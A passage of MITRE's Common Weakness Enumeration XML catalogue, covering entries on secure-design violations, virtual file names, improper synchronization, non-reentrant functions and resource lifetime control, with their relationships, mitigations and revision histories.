					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Reliance on Security through Obscurity</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="657" Name="Violation of Secure Design Principles" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product violates well-established principles for secure
					design.</Description_Summary>
				        <Extended_Description>
					          <Text>This can introduce resultant weaknesses or make it easier for developers
						to introduce related weaknesses during implementation. Because code is
						centered around design, it can be resource-intensive to fix design
						problems.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>710</Relationship_Target_ID>
					          <!--Coding Standards Violation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>17</Relationship_Target_ID>
					          <!--Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference>
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Design Principles</Reference_Title>
					          <Reference_PubDate>2005-09-19</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/358.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="66" Name="Improper Handling of File Names that Identify Virtual Resources" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not handle or incorrectly handles a file name
					that identifies a "virtual" resource that is not directly specified within the
					directory that is associated with the file name, causing the product to perform
					file-based operations on a resource that is not a file.</Description_Summary>
				        <Extended_Description>
					          <Text>Virtual file names are represented like normal file names, but they are
						effectively aliases for other resources that do not behave like normal
						files. Depending on their functionality, they could be alternate entities.
						They are not necessarily listed in directories.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>21</Relationship_Target_ID>
					          <!--Pathname Traversal and Equivalence Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Functional_Areas>
				        <Functional_Area>File processing</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Virtual Files</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Virtual
						Files</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle File Names
						that Identify Virtual Resources</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="662" Name="Improper Synchronization" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software attempts to use a shared resource in an exclusive
					manner, but does not prevent or incorrectly prevents use of the resource by
					another thread or process.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>745</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 11 - Signals (SIG)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>852</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>879</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 11 - Signals (SIG)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use industry standard APIs to synchronize your code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Mask signals handled by noninterruptible signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not access or modify shared objects in signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>State synchronization error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not assume that a group of calls to independently atomic
						methods is atomic</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Mask signals handled by noninterruptible signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not access or modify shared objects in signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>25</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>27</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Insufficient
						Synchronization</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="663" Name="Use of a Non-reentrant Function in a Concurrent Context" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software calls a non-reentrant function in a concurrent
					context in which a competing code sequence (e.g. thread or signal handler) may
					have an opportunity to call the same function or otherwise influence its
					state.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>662</Relationship_Target_ID>
					          <!--Improper Synchronization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use reentrant functions if available.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Add synchronization to your non-reentrant function.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In Java, use the ReentrantLock Class.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1349</Observed_Example_Reference>
					          <Observed_Example_Description>unsafe calls to library functions from signal
						handler</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2259</Observed_Example_Reference>
					          <Observed_Example_Description>handler for SIGCHLD uses non-reentrant
						functions</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>SUN</Reference_Author>
					          <Reference_Title>Java Concurrency API</Reference_Title>
					          <Reference_Section>Class ReentrantLock</Reference_Section>
					          <Reference_Link>http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Dipak Jha, Software Engineer, IBM</Reference_Author>
					          <Reference_Title>Use reentrant functions for safer signal
						handling</Reference_Title>
					          <Reference_Link>http://www.ibm.com/developerworks/linux/library/l-reent.html</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated References, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Name, Observed_Examples, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Use of a Non-reentrant
						Function in an Unsynchronized Context</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Use of a Non-reentrant
						Function in a Multithreaded Context</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="664" Name="Improper Control of a Resource Through its Lifetime" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not maintain or incorrectly maintains control
					over a resource throughout its lifetime of creation, use, and
					release.</Description_Summary>
				        <Extended_Description>
					          <Text>Resources often have explicit instructions on how to be created, used and
						destroyed. When software does not follow these instructions, it can lead to
						unexpected behaviors and potentially exploitable states.</Text>
					          <Text>Even without explicit instructions, various principles are expected to be
						adhered to, such as "Do not use an object until after its creation is
						complete," or "do not use an object after it has been slated for
						destruction."</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>More work is needed on this node and its children. There are
						perspective/layering issues; for example, one breakdown is based on
						lifecycle phase (CWE-404, CWE-665), while other children are independent of
						lifecycle, such as CWE-400. Others do not specify as many bases or variants,
						such as CWE-704, which primarily covers numbers at this stage.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use Static analysis tools to check for unreleased resources.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>196</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>61</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>62</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Relationships,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
